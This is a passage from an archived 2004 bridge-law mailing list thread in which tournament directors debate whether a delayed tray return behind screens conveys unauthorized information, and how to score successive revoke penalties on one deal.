ton > > > > > > > > > > > > > > > From t.kooyman@worldonline.nl Fri Jan 16 08:54:36 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Fri, 16 Jan 2004 09:54:36 +0100 Subject: [blml] A straightforward ruling Message-ID: <004001c3dc0e$6122cf70$d7faf1c3@LNV> > > The law does say that "players are authorized to > > base their calls and plays on information from legal calls > > and plays, and from mannerisms of opponents" but none > > of these is present in the question under discussion. To > > use information that the Law does not authorize to be > > used is unlawful. (WBFLC item 8, 24 Aug 98). So we need > > an authorization from a law or regulation if we are to base > > a call upon information derived from the slow return of a > > tray due to uncertain cause. If we do not find such an > > authorization then we have an irregularity and, since Law > > 16 does not tell us what to do in such circumstances, it > > may well be a Law 12A1 or 84E case. It is, however, wholly > > wrong in law to say that we need the extraneous information > > to come from partner in order to say that it suggests an > > action. If information suggests an action we need it to > > come from partner in order to apply Law 16A, just as we > > apply 16 B when it comes accidentally from another source, > > and 16D when it comes from a withdrawn action. But none of > > these paragraphs applies, so rectification is not by any of > > these routes. That does not mean that the information does not > > suggest an action nor does it make it lawful to base a call on > > the supposed information. So, unless somewhere in the laws > > and regulations we can find the statement that makes it > > authorized information, we are left to deal with an infraction > > under 12A1 or 84E. > > Of course there may be an argument that the slow > > return of the tray conveys no information, even though the > > player has relied upon his perception of the slow return > > in choosing his call. But the player's intention is to break > > the law, is it not? - by the use of information he has > > construed from the delayed return. > > ~ Grattan ~ +=+ > > > What I thought to have understood from your previous message is confirmed > and leads to the conclusion that we don't agree. > > The problem with your sentences is that they are so generally written that > some > of it might be true under some circumstances. Why for example are you > saying: > 'but the player's intention is to break the law, is it not?' That is not in > my script. > So let us be more concrete: > > Are you saying that the TD will assign an adjusted score if a player > makes a call when there is a less succesful logical alternative and the tray > has stayed at the other side of the screen for a long time, without his > partner having caused that delay? > > ton > > > > > > > From hermandw@hdw.be Fri Jan 16 10:42:50 2004 From: hermandw@hdw.be (Herman De Wael) Date: Fri, 16 Jan 2004 11:42:50 +0100 Subject: [blml] A straightforward ruling In-Reply-To: <86B9909D-47B8-11D8-A519-0030656F6826@rochester.rr.com> References: <86B9909D-47B8-11D8-A519-0030656F6826@rochester.rr.com> Message-ID: <4007C02A.6010902@hdw.be> I feel very much disturbed by the way this thread is going. Are we really casting doubt over the principle that hesitations behind screens be UI ? Ed Reppert wrote: > > On Thursday, Jan 15, 2004, at 05:50 US/Eastern, Grattan Endicott wrote: > >> Thus I would say that no matter what the cause of the >> slow return of the tray, the player may not base a call or play >> on information he infers from the delay - and it is not relevant >> in this how the delay was in fact occasioned. > > -- Herman DE WAEL Antwerpen Belgium http://users.skynet.be/hermandw/index.html From hermandw@hdw.be Fri Jan 16 11:11:34 2004 From: hermandw@hdw.be (Herman De Wael) Date: Fri, 16 Jan 2004 12:11:34 +0100 Subject: [blml] A straightforward ruling In-Reply-To: <004001c3dc0e$6122cf70$d7faf1c3@LNV> References: <004001c3dc0e$6122cf70$d7faf1c3@LNV> Message-ID: <4007C6E6.3080600@hdw.be> Ton Kooijman wrote: >>So let us be more concrete: >> >>Are you saying that the TD will assign an adjusted score if a player >>makes a call when there is a less succesful logical alternative and the > > tray > >>has stayed at the other side of the screen for a long time, without his >>partner having caused that delay? >> >>ton >> > I think the law creates four classes of information: a- information from calls and plays (AI) b- information from actions of opponents (AI) c- information from other sources (UI, but no L16 restrictions, just AAS) d- information from partner (UI) A delay in returning the tray is certainly not (a). Ton seems te be saying it is (c), but that is certainly not what many rulings in the last decade have started from. Of course it is up to the players and TD to decide what the delay means, and to decide whether it is (b) or (d), or possibly (c). Now Ton seems to be asking: what if a delay is clearly attributable to one player (as in my original - EW had stretched to 4Sp so west cannot have been thinking over the double), but it turns out this was not in reality the case. Well, whose actions caused the delay then - West, with no bridge reason? I suspect that L73 is applicable. And if the delay comes from other sources (the waiter bringing the coffee) I am certain that it is OK to inform the other side of the screen of this. -- Herman DE WAEL Antwerpen Belgium http://users.skynet.be/hermandw/index.html From svenpran@online.no Fri Jan 16 11:56:32 2004 From: svenpran@online.no (Sven Pran) Date: Fri, 16 Jan 2004 12:56:32 +0100 Subject: [blml] A straightforward ruling In-Reply-To: <4007C6E6.3080600@hdw.be> Message-ID: <000001c3dc27$c8a7eef0$6900a8c0@WINXP> > Herman De Wael ......... > And if the delay comes from other sources (the waiter bringing the > coffee) I am certain that it is OK to inform the other side of the > screen of this. This illustrates the real core of the problem: What if nobody informs = the other side of the screen about this "innocent" cause for the delay?=20 To what extent will (incorrect) inferences made by those players as to = the cause be UI? The way I understand the existing laws a player who assumes that the = break in tempo was caused by his opponent on the other side of the screen is perfectly free to select an action based upon such assumption but at his = own risk.=20 However, he is not permitted to select an action that "could be = suggested by the hesitation" based on an assumption that the hesitation was by his = own partner. So in order to make a fair ruling in cases like this we must not only = (as without screens) judge whether a selected action "could have been = suggested by his partner's hesitation"; we must in addition judge whether the = player has probably assumed that the delay was caused by his partner. Sven From twm@cix.co.uk Fri Jan 16 12:15:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Fri, 16 Jan 2004 12:15 +0000 (GMT Standard Time) Subject: [blml] A straightforward ruling In-Reply-To: <4007C02A.6010902@hdw.be> Message-ID: Herman wrote: > I feel very much disturbed by the way this thread is going. > > Are we really casting doubt over the principle that hesitations behind > screens be UI ? Not entirely. I am certainly casting doubt on the idea that any delay in the return of the tray puts the players on the other side of the screen under UI obligations. As to what the principle should be I think I am closer to 1. "Players may bid freely if they have reasonable doubts as to the cause of the delay." 2. Adjustments may be made in cases where a) The delay was indeed due to hesitation by the player's partner b) The TD/AC considers the source of the delay should have been obvious to the player concerned from his own hand and the auction to date. Going back to the case at the top of the thread I would rule "reasonable doubt" at teams scoring - the delay could easily be due to an opponent considering the merits of a XX. At pairs scoring I would rule "should be obvious" - nobody is likely to give much thought to XX. As a corollary I would be expecting to offer redress (at pairs) to a player who chose a less successful non-suggested call if it turned out that his opponent had indeed spent the time wondering whether to XX (no legitimate bridge reason for a deceptive hesitation). As always my judgements may be crazy so please don't hold the case specifics against my suggested principles. Tim From gesta@tiscali.co.uk Fri Jan 16 13:18:32 2004 From: gesta@tiscali.co.uk (Grattan Endicott) Date: Fri, 16 Jan 2004 13:18:32 -0000 Subject: [blml] A straightforward ruling References: <004001c3dc0e$6122cf70$d7faf1c3@LNV> Message-ID: <002701c3dc33$707ed930$9b2a2850@multivisionoem> Grattan Endicott To: "blml" Sent: Friday, January 16, 2004 8:54 AM Subject: Re: [blml] A straightforward ruling >> > So let us be more concrete: > > > > Are you saying that the TD will assign an adjusted > > score if a player makes a call when there is a less > > succesful logical alternative and the tray has stayed > > at the other side of the screen for a long time, > > without his partner having caused that delay? > > > > ton > > Automatically? No. I responded to a scenario in which the player agreed he was basing his call on the fact that the tray had been slow coming back, but not admitting an attribution to his partner of the cause for the delay. I am saying that no matter what has happened on the other side of the screen it is unlawful for the player to let the delay influence his call - unless there is a regulation allowing it, he has no authorization in law for doing so. Like yours, my advice for players is not to let the tempo of return of the tray influence a call, where we seem to differ is that I say it is unlawful to do so. For the seminar in February I have copied our exchange of views into the section of my document on Ethics, adding it into the previous text on tempo behind screens. ~ Grattan ~ +=+ From nigel.guthrie@ntlworld.com Fri Jan 16 13:30:29 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Fri, 16 Jan 2004 13:30:29 -0000 Subject: [blml] A straightforward ruling References: Message-ID: <00c201c3dc34$e9b0e400$2b9868d5@tinyhrieuyik> Perhaps the original example is a bit controversial Here is a more blatant case... EW/N North S:KT9xx H:AKQxx D:AKQ C- Screen / South S:Axxxxx H:xx D:xx C:Txx Auction 1S-2S-; 5N(1)-6C(2); 7S (1) Asking about trump honours (2) A or K of trumps (after long hesitation) Surely there is a case that North has taken advantage of what he has assumed to be South's hesitation? Are East-West really entitled to no redress? --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.561 / Virus Database: 353 - Release Date: 13/01/2004 From Laval_Dubreuil@uqss.uquebec.ca Fri Jan 16 15:59:39 2004 From: Laval_Dubreuil@uqss.uquebec.ca (Laval Dubreuil) Date: Fri, 16 Jan 2004 10:59:39 -0500 Subject: [blml] 2 out of turn opening leads Message-ID: Sven wrote: This is essentially a question on whether declarer is bound by his selection among the penalty options available for the first irregularity when another irregularity is made before that (first) penalty has actually been executed. That question is not directly answered in the laws but I find it unthinkable to deny declarer the right to alter his eventual penalty to "Play a heart" after the second irregularity. This is obvious to me inasmuch as he still (beyond doubt) has the option to accept the incorrect lead of the HQ (as a correct lead). __________________________________________________________________________ This was my real question. I know that irregularities are ruled one after the other one and it is what I use to do, but I found nothing stating that a 2nd irregularity can have no effect on the first one. An other funny case happened yesterday. A 2 tricks penalty revoke by one side, followed by a 2 tricks penalty revoke by opponents (the same deal...). The result when called to table was 3S = 140 by N-S. First ruling (revoke by North) gives 3S down 2 = -100 for N-S. Second ruling makes 3S + 2 = -200 for E-W. If rulings are made one after the other one the results should be: N-S = -100 and E-W = -200. If you combined both, you have N-S = 140, E-W = -140. What is the correct result ? According to which Law? Laval From svenpran@online.no Fri Jan 16 17:21:45 2004 From: svenpran@online.no (Sven Pran) Date: Fri, 16 Jan 2004 18:21:45 +0100 Subject: [blml] 2 out of turn opening leads In-Reply-To: Message-ID: <000001c3dc55$37a97850$6900a8c0@WINXP> > Laval Dubreuil ........... > An other funny case happened yesterday. A 2 tricks penalty revoke by = one > side, followed by a 2 tricks penalty revoke by opponents (the same > deal...). > The result when called to table was 3S =3D 140 by N-S. First ruling = (revoke > by North) gives 3S down 2 =3D -100 for N-S. Second ruling makes 3S + 2 = =3D > -200 for E-W. If rulings are made one after the other one the results > should be: N-S =3D -100 and E-W =3D -200. If you combined both, you = have > N-S =3D 140, E-W =3D -140. What is the correct result ? According to = which > Law? You are applying Law 64 incorrectly! Revoke penalties are expressed in tricks, not in points. The result when called to the table was 9 tricks to N-S and 4 to E-W. First ruling (revoke by North) you transfer two tricks from N-S to E-W (leaving N-S with 7 tricks and E-W with 6 tricks). Second ruling (revoke by E-W) you transfer two tricks from E-W to N-S (effectively restoring the original result of 9 tricks to N-S and 4 to = E-W). Only now is the time to calculate the result of the board expressed in points. There is a catch: Be careful to fully understand Law 64C and also be = aware of the following minute from WBFLC in Paris 2001:=20 4. The Chairman quoted the case of a defender who revokes by ruffing and = is over-ruffed by declarer who also has a card of the suit led. The = committee noted that when the first revoke is made the declarer's side is non-offending and when the second revoke is made the defenders' side is non-offending. The committee decided that the Director should deal with = this situation by restoring equity, based on what would have happened if no revoke had occurred, under Law 64C. IMO the correct result on the board in your case is 140 for N-S. Regards Sven From Laval_Dubreuil@uqss.uquebec.ca Fri Jan 16 17:54:19 2004 From: Laval_Dubreuil@uqss.uquebec.ca (Laval Dubreuil) Date: Fri, 16 Jan 2004 12:54:19 -0500 Subject: [blml] 2 out of turn opening leads In-Reply-To: <000001c3dc55$37a97850$6900a8c0@WINXP> Message-ID: You are applying Law 64 incorrectly! Revoke penalties are expressed in tricks, not in points. IMO the correct result on the board in your case is 140 for N-S. _________________________________________________________________________ Yes I know.....just kidding... And trying to make sure that my case concerning 2 OLOOTs is clear enough. Are Laws written so that a subsequent infraction have no effect on the first ruling. Laval. From svenpran@online.no Fri Jan 16 18:51:44 2004 From: svenpran@online.no (Sven Pran) Date: Fri, 16 Jan 2004 19:51:44 +0100 Subject: [blml] 2 out of turn opening leads In-Reply-To: Message-ID: <000001c3dc61$c9b9a0b0$6900a8c0@WINXP> > Laval Dubreuil ........... > And trying to make sure that my case concerning 2 OLOOTs > is clear enough. Are Laws written so that a subsequent infraction > have no effect on the first ruling. That is the general principle; each infraction is to be dealt with separately and independently. However, certain multiple infractions are inseparable, like the case = when one player ruffs a trick even though he is not void in the suit and the = next player over-ruffs although he also is not void. (Double revoke in the = same trick). For revokes you have Law 64C which places a duty on the Director to use judgment and strive towards equity, but the same principle exists also = in other cases; just look to Law 12A1. In most (if not all) cases problems with multiple infractions arise when = a later infraction occurs before the first infraction has been completely regulated. This is the main reason why the Director should always = (whenever possible) remain at the table and assist the players through all difficulties until normal playing conditions can be resumed. Regards Sven From ereppert@rochester.rr.com Fri Jan 16 23:00:58 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Fri, 16 Jan 2004 18:00:58 -0500 Subject: [blml] A straightforward ruling In-Reply-To: <4007C02A.6010902@hdw.be> Message-ID: On Friday, Jan 16, 2004, at 05:42 US/Eastern, Herman De Wael wrote: > I feel very much disturbed by the way this thread is going. > > Are we really casting doubt over the principle that hesitations be UI? One of the effects of having screens is to mask the origin of UI. The Laws require that, having UI *from partner*, one make every effort not to take advantage thereof. But if the origin of the UI is unknown, what then? Are we to infer that, absent screens, a player is not permitted to take advantage of inferences from an *opponent's* hesitation? From ereppert@rochester.rr.com Fri Jan 16 23:11:56 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Fri, 16 Jan 2004 18:11:56 -0500 Subject: [blml] A straightforward ruling In-Reply-To: <4007C6E6.3080600@hdw.be> Message-ID: <6129EA84-4879-11D8-9B6D-0030656F6826@rochester.rr.com> On Friday, Jan 16, 2004, at 06:11 US/Eastern, Herman De Wael wrote: > A delay in returning the tray is certainly not (a). > Ton seems te be saying it is (c), but that is certainly not what many > rulings in the last decade have started from. > > Of course it is up to the players and TD to decide what the delay > means, and to decide whether it is (b) or (d), or possibly (c). > > Now Ton seems to be asking: what if a delay is clearly attributable to > one player (as in my original - EW had stretched to 4Sp so west cannot > have been thinking over the double), but it turns out this was not in > reality the case. > Well, whose actions caused the delay then - West, with no bridge > reason? I suspect that L73 is applicable. > > And if the delay comes from other sources (the waiter bringing the > coffee) I am certain that it is OK to inform the other side of the > screen of this. Is there an information theorist in the house? Does a delay in returning the tray of itself convey information? Does it convey information *about the board in play*? I submit that it does not. If it does not, then it is not "UI", because it is not "I" at all. From ereppert@rochester.rr.com Fri Jan 16 23:32:52 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Fri, 16 Jan 2004 18:32:52 -0500 Subject: [blml] 2 out of turn opening leads In-Reply-To: Message-ID: <4DC81F84-487C-11D8-9B6D-0030656F6826@rochester.rr.com> On Friday, Jan 16, 2004, at 10:59 US/Eastern, Laval Dubreuil wrote: > An other funny case happened yesterday. A 2 tricks penalty revoke by > one > side, followed by a 2 tricks penalty revoke by opponents (the same > deal...). > The result when called to table was 3S = 140 by N-S. First ruling > (revoke > by North) gives 3S down 2 = -100 for N-S. Second ruling makes 3S + 2 = > -200 for E-W. If rulings are made one after the other one the results > should be: N-S = -100 and E-W = -200. If you combined both, you have > N-S = 140, E-W = -140. What is the correct result ? According to which > Law? Perhaps I'm missing something, because this seems straightforward to me. The laws say that the penalty for a revoke is to transfer tricks to the NOS before computing the score. In this case, the table result was 9 tricks to NS. The first revoke results in transferring two tricks to EW, so 7 tricks for NS. The second revoke results in transferring two tricks to NS, so now 9 tricks to NS (and 4 to EW). Score accordingly: NS +140, EW -140. WTP? :-) From svenpran@online.no Sat Jan 17 00:07:08 2004 From: svenpran@online.no (Sven Pran) Date: Sat, 17 Jan 2004 01:07:08 +0100 Subject: [blml] A straightforward ruling In-Reply-To: <6129EA84-4879-11D8-9B6D-0030656F6826@rochester.rr.com> Message-ID: <000001c3dc8d$d91fb860$6900a8c0@WINXP> Ed Reppert ........... > Is there an information theorist in the house? >=20 > Does a delay in returning the tray of itself convey information? Does > it convey information *about the board in play*? I submit that it does > not. If it does not, then it is not "UI", because it is not "I" at = all. Information is defined as "reduction of possible alternatives" Example:=20 The letter "e" in the word "minister" almost does not carry any = information at all because the text string "minist*r" where the asterisk denotes a = lost character tells you exactly as much as the complete word. The letter "m" on the other hand carries the information that the = intended word is "minister" and for instance not "sinister", thus this letter = carries a lot more information. A hesitation in face to face bridge conveys the information that the = player hesitating (probably) had more than his usual difficulty in selecting an action among possible alternatives. A delay in returning the tray conveys the information that "something" = at the other side of the screen took more than the normal time. Whether this "something" is relevant as cause for information about the board in play cannot be determined from just the delay alone, and quite often it must be difficult to determine with some probability even which = of the two players (if any) is "responsible" for the delay. Consequently the delay alone cannot be ruled UI, but together with other information (previous calls etc.) the probability can be rather high for = an assumption that one particular player has hesitated - which will force = the same UI constraint upon his partner as if there had been no screen. Regards Sven =20 From wrgptfan@fastmail.fm Sat Jan 17 04:44:49 2004 From: wrgptfan@fastmail.fm (David Kent) Date: Fri, 16 Jan 2004 23:44:49 -0500 Subject: [blml] A straightforward ruling In-Reply-To: <6129EA84-4879-11D8-9B6D-0030656F6826@rochester.rr.com> References: <6129EA84-4879-11D8-9B6D-0030656F6826@rochester.rr.com> Message-ID: <20040117044449.E09EC469B5@server1.messagingengine.com> On Fri, 16 Jan 2004 18:11:56 -0500, "Ed Reppert" said: >=20 > On Friday, Jan 16, 2004, at 06:11 US/Eastern, Herman De Wael wrote: >=20 > > A delay in returning the tray is certainly not (a). > > Ton seems te be saying it is (c), but that is certainly not what many= =20 > > rulings in the last decade have started from. > > > > Of course it is up to the players and TD to decide what the delay=20 > > means, and to decide whether it is (b) or (d), or possibly (c). > > > > Now Ton seems to be asking: what if a delay is clearly attributable to= =20 > > one player (as in my original - EW had stretched to 4Sp so west cannot= =20 > > have been thinking over the double), but it turns out this was not in= =20 > > reality the case. > > Well, whose actions caused the delay then - West, with no bridge=20 > > reason? I suspect that L73 is applicable. > > > > And if the delay comes from other sources (the waiter bringing the=20 > > coffee) I am certain that it is OK to inform the other side of the=20 > > screen of this. >=20 > Is there an information theorist in the house? >=20 > Does a delay in returning the tray of itself convey information? Does=20 > it convey information *about the board in play*? I submit that it does=20 > not. If it does not, then it is not "UI", because it is not "I" at all. >=20 Have you ever played with screens?=20=20 I would guess that in about 99% of the cases it is clear as to whom the delay in returning the tray is attributable or the reason for the delay.=20= =20 Sometimes you hear some whispering on the other side of the screen in which case you can be pretty sure the delay is attributable to an explanation. Sometimes you are busy writing down the explanation of your self-alert and it takes you a while to send the tray to the other side. Then there is a significant delay until the tray is returned. There is a good liklihood that partner has also spent some time explaining the alert to his screen-mate. (Whew! He remembered!) Sometimes you hear scratching noises as if someone is writing something, then some paper rustling, then some more scratching noises before the tray is returned. In this case it is quite likely that a brief description of the bid has been given, more explanation requested and given. Sometimes you are in an unopposed auction (for example 1S-2S;3H-.....3S) and it takes quite a while for the tray to come back. It is possible that it has taken partner the full 60 seconds to write down "HSGT" or "SSGT" or whatever, but that is unlikely. It is also possible that the opponent spent a good deal of time deciding whether or not to double 3H, but that is also unlikely. It is, however, much more likely that responder has a difficult decision as to whether or not to accept the game try. To say that "a delay in returning the tray of itself [does not] convey information" shows a lack of understanding of the reality of the usage of screens. --=20 http://www.fastmail.fm - Same, same, but different=85 From ereppert@rochester.rr.com Sat Jan 17 05:12:34 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Sat, 17 Jan 2004 00:12:34 -0500 Subject: [blml] A straightforward ruling In-Reply-To: <000001c3dc8d$d91fb860$6900a8c0@WINXP> Message-ID: On Friday, Jan 16, 2004, at 19:07 US/Eastern, Sven Pran wrote: > A delay in returning the tray conveys the information that "something" > at > the other side of the screen took more than the normal time. > > Whether this "something" is relevant as cause for information about the > board in play cannot be determined from just the delay alone, and quite > often it must be difficult to determine with some probability even > which of > the two players (if any) is "responsible" for the delay. > > Consequently the delay alone cannot be ruled UI, but together with > other > information (previous calls etc.) the probability can be rather high > for an > assumption that one particular player has hesitated - which will force > the > same UI constraint upon his partner as if there had been no screen. Okay, this is pretty much what I was thinking. Thanks, Sven. From ereppert@rochester.rr.com Sat Jan 17 05:20:39 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Sat, 17 Jan 2004 00:20:39 -0500 Subject: [blml] A straightforward ruling In-Reply-To: <20040117044449.E09EC469B5@server1.messagingengine.com> Message-ID: On Friday, Jan 16, 2004, at 23:44 US/Eastern, David Kent wrote: > Have you ever played with screens? No. [snip] > To say that "a delay in returning the tray of itself [does not] convey > information" shows a lack of understanding of the reality of the usage > of > screens. Then why did you bother asking me if I'd ever played with them? I gather that you disagree with Sven's answer to me. Aside from that, the purpose of screens, as I understand it, is to prevent (or at least reduce) the incidence of transmission of UI. Apparently, according to you, they fail in that purpose. So why bother having them? From nigel.guthrie@ntlworld.com Sat Jan 17 09:09:18 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Sat, 17 Jan 2004 09:09:18 -0000 Subject: [blml] A straightforward ruling References: Message-ID: <00f101c3dcd9$971733c0$2c9868d5@tinyhrieuyik> Suppose that... 1. The tray arrrives after a delay. 2. It is possible that concealed opponent had a problem 3. But it is more likely that partner had a problem. 4. Of the alternatives, you prefer alternative A. 5. Partner's hypothetical hesitation would also suggest that alternative. (a) IMO, you should select A, the alternative you would have chosen without any delay; and leave the TD/AC to adjust if partner has hesitated and opponents are damaged. (b) You cannot be expected to punish yourself for *possible* UI, when partner may not have altered tempo, at all. (c) The TD/AC must allow for this (for example, when considering adjustments and PPs). (d) This is the basis is for another urgent rule change (: yes, yes, I know that is completely impossible :) It would be much simpler if you had to wait at least x seconds but no more than y seconds before each bid/play -- then you can simply penalize tempo-breaks -- no need to emply telepaths, capable of judging whether anybody used UI. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.561 / Virus Database: 353 - Release Date: 13/01/2004 From t.kooyman@worldonline.nl Sat Jan 17 10:51:10 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Sat, 17 Jan 2004 11:51:10 +0100 Subject: [blml] A straightforward ruling References: <86B9909D-47B8-11D8-A519-0030656F6826@rochester.rr.com> <4007C02A.6010902@hdw.be> Message-ID: <001101c3dce7$f1d8cfe0$6bf7f0c3@LNV> Herman: > I feel very much disturbed by the way this thread is going. > > Are we really casting doubt over the principle that hesitations behind > screens be UI ? No we are not and when you want to contribute it would be nice if you follow this discussion more closely. Grattan, I thought to read, was saying that no matter what the reason for the delay of the tray at the other side of the screen was, there is UI and a player may not make a call etc. etc. Grattan: > >> Thus I would say that no matter what the cause of the > >> slow return of the tray, the player may not base a call or play > >> on information he infers from the delay - and it is not relevant > >> in this how the delay was in fact occasioned. In other words I thought to read that had this situation occurred without screens and partner had hesitated after which the TD would have disallowed the favorable call, the TD has to do the same playing with screens no matter what the reason for the delay was. This opens the possibility for opponents to profit from delays they create. Asking further Grattan now says to do this when a player agrees that he was basing his call on a delay at the other side but does not admit attribution of his partner for the delay. Well, I still have to meet such a player, it is an impossible proposition. No player can admit in anything happening at the other side of the screen. So this might be the next non discussion. But we still have a problem. Auction: 1S - 4D 4H - 4S 4NT - 5H ...5S - The screenmate of the player bidding 5S starts asking written questions after the 5S bid and gets written answers which al together takes more than 2 minutes. Then the screens is pushed to the other side. Now 6S is bid and made. Is it possible to adjust the score if without screens that would have been the obvious decision? It might be necessary to make a distinction: Let us say that a majority of players would have bid 6S but that pass is a logical alternative. My personal opinion is that in that case we can't adjust the score. Let us say that less than 25% of the players would have bid 6S. Grattan knows players who now would admit to have based their 6S bid on an assumed hestitation by partner. Let me be more realistic and ask: Is the TD allowed to draw the conclusion that such a call only can be based on the hesitation therewith not accepting it, even when partner didn't hesitate at all. My personal opinion is that he should do so. Which leaves us with the non discussed range between 25 and 65%. I think that we can't adjust the score then. To support this idea I have to define the call of 6S where less than 25% will make that call as an infraction, caused by an irregularity being an unusual long stay of the tray at one side of the screen, (if it becomes clear that partner didn't hesitate, otherwise the case is easy). If the cause for the delay is known as 'extraneous' for all players there isn't any problem of course. Isn't there any jurisprudence about this problem, it isn't that peculiar is it? ton From hermandw@hdw.be Sat Jan 17 11:35:15 2004 From: hermandw@hdw.be (Herman De Wael) Date: Sat, 17 Jan 2004 12:35:15 +0100 Subject: [blml] A straightforward ruling In-Reply-To: <001101c3dce7$f1d8cfe0$6bf7f0c3@LNV> References: <86B9909D-47B8-11D8-A519-0030656F6826@rochester.rr.com> <4007C02A.6010902@hdw.be> <001101c3dce7$f1d8cfe0$6bf7f0c3@LNV> Message-ID: <40091DF3.6090304@hdw.be> Hello Ton, all, Ton Kooijman wrote: > Herman: > > > >>I feel very much disturbed by the way this thread is going. >> >>Are we really casting doubt over the principle that hesitations behind >>screens be UI ? > > > No we are not and when you want to contribute it would be nice if you > follow this discussion more closely. > Having started this thread, and being known to read all contributions on blml, sans killfile, I resent being accused of following not close enough. I don't know what the non-discussion is really about, but it seemed to me as if two senior members of the WBFLC are having a public non-discussion which puts into question the possibility of having delay-caused UI behind screens. Apparently the discussion is more subtle. I apologize for having misinterpreted. > Grattan, I thought to read, was saying that no matter what the reason for > the delay of the tray at the other side of the screen was, there is UI > and a player may not make a call etc. etc. > I did not read it as such, but it did seem to me as if Grattan was putting less than normal value to the source of the delay. > > Grattan: > > >>>> Thus I would say that no matter what the cause of the >>>>slow return of the tray, the player may not base a call or play >>>>on information he infers from the delay - and it is not relevant >>>>in this how the delay was in fact occasioned. > > I read this different than you, Ton. I believe Grattan is saying that if the delay is clearly attributable to partner, then there is UI, even if there was no hesitation by partner. I did not read into this that the principle applies when the delay is not clearly attributable to partner. I happen to agree with that interpretation. In situations where a delay would be attributable to North, but there is actually a totally different reason (East ordering drinks), then East should say something to the other side of the screen. > > In other words I thought to read that had this situation occurred without > screens and partner had hesitated after which the TD would have disallowed > the favorable call, the TD has to do the same playing with screens no matter > what the reason for the delay was. This opens the possibility for opponents > to profit from delays they create. > I don't think it does. I believe L73 would be applicable to an East who deliberately holds behind the tray in order to create UI restrictions on South. Was this not precisely the point of one ruling with Anton Maas as North? > Asking further Grattan now says to do this when a player agrees that he was > basing his call on a delay at the other side but does not admit attribution > of his partner for the delay. > Well, I still have to meet such a player, it is an impossible proposition. > No player can admit in anything happening at the other side of the screen. > > So this might be the next non discussion. > > But we still have a problem. > Auction: > > 1S - 4D > 4H - 4S > 4NT - 5H > ...5S - > > The screenmate of the player bidding 5S starts asking written questions > after the 5S bid and gets written answers which al together takes > more than 2 minutes. Then the screens is pushed to the other side. Now 6S is > bid and made. Is it possible to adjust the score if without screens that > would have been the obvious decision? > Let me rephrase this question. If 5S is bid in tempo, and then the tray stays for 2 minutes for questions - is it fair to rule against 6S. No, it's not. So indeed if it takes 30", and then one and a half minute of questions, there should not be a ruling either. Something which can be avoided by East pushing the tray before asking questions - after all, he has nothing to think about. If he has, that is clear at the other side as well, and there can be no ruling even if it takes 2 minutes. So I would rule no UI here. > It might be necessary to make a distinction: > > Let us say that a majority of players would have bid 6S but that pass is a > logical alternative. My personal opinion is that in that case we can't > adjust the score. > > Let us say that less than 25% of the players would have bid 6S. Grattan > knows players who now would admit to have based their 6S bid on an assumed > hestitation by partner. Let me be more realistic and ask: Is the TD allowed > to draw the conclusion that such a call only can be based on the hesitation > therewith not accepting it, even when partner didn't hesitate at all. > > My personal opinion is that he should do so. > > Which leaves us with the non discussed range between 25 and 65%. I think > that we can't adjust the score then. To support this idea I have to define > the call of 6S where less than 25% will make that call as an infraction, > caused by an irregularity being an unusual long stay of the tray at one side > of the screen, (if it becomes clear that partner didn't hesitate, otherwise > the case is easy). > > If the cause for the delay is known as 'extraneous' for all players there > isn't any problem of course. > > Isn't there any jurisprudence about this problem, it isn't that peculiar is > it? > > ton > I don't think this 25-65 approach works. It does not fit in with the F2F laws. > > > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > > -- Herman DE WAEL Antwerpen Belgium http://users.skynet.be/hermandw/index.html From svenpran@online.no Sat Jan 17 12:04:48 2004 From: svenpran@online.no (Sven Pran) Date: Sat, 17 Jan 2004 13:04:48 +0100 Subject: [blml] A straightforward ruling In-Reply-To: <001101c3dce7$f1d8cfe0$6bf7f0c3@LNV> Message-ID: <000001c3dcf2$1af5d260$6900a8c0@WINXP> Ton Kooijman .......... > So this might be the next non discussion. >=20 > But we still have a problem. > Auction: >=20 > 1S - 4D > 4H - 4S > 4NT - 5H > ...5S - >=20 > The screenmate of the player bidding 5S starts asking =20 > written questions after the 5S bid and gets written > answers which al together takes more than 2 minutes. > Then the screens is pushed to the other side. Now 6S > is bid and made. Is it possible to adjust the score=20 > if without screens that would have been the obvious=20 > decision? > > It might be necessary to make a distinction: >=20 > Let us say that a majority of players would have bid=20 > 6S but that pass is a logical alternative. My personal > opinion is that in that case we can't adjust the score. >=20 > Let us say that less than 25% of the players would have > bid 6S. Grattan knows players who now would admit to have > based their 6S bid on an assumed hesitation by partner. > Let me be more realistic and ask: Is the TD allowed to=20 > draw the conclusion that such a call only can be based on > the hesitation therewith not accepting it, even when=20 > partner didn't hesitate at all. >=20 > My personal opinion is that he should do so. I have read this twice trying to figure out exactly what Ton's opinion = is, and I do not feel comfortable with how I understand it. Am I right that Ton will not listen to any argument by the player = bidding 6S but adjust the contract on the ground that the return of the tray was delayed for an (at the time) unknown reason and that only a small = minority of players would have bid that slam without UI? I suppose that the result will be several appeals where the AC must make their decision not based on the situation as it appeared to the possible offender but rather on facts which at the time was not even known to = him. Is this really what we want? Shall a player be judged, not on what he = himself knows and does but in some cases solely on what happened completely = outside his knowledge?=20 I will not dispute that a delayed return of the tray establishes = extraneous information but I will dispute that such information shall automatically = be considered being of the same nature as (other) extraneous information received from partner.=20 Due to the nature of screens I shall prefer to apply Law 16B: = "Extraneous information from other sources" unless it can clearly be established = that the possible offender at the time when he (in case) made use of such information ought to know that his partner was the source.=20 The very purpose of screens is to eliminate UI problems, if we begin a practice of ruling UI constraints just because there obviously was a = delay of some sort and we cannot exclude the possibility that this delay was caused by a particular player then we can as well do away with the = screens as not fulfilling their purpose. I have seen many cases of successful slams (and games) bid at fewer than = one fourth of the tables. The fact that our alleged offender may be within = such a minority does not in itself sufficiently even indicate that he has = used UI. Sven From 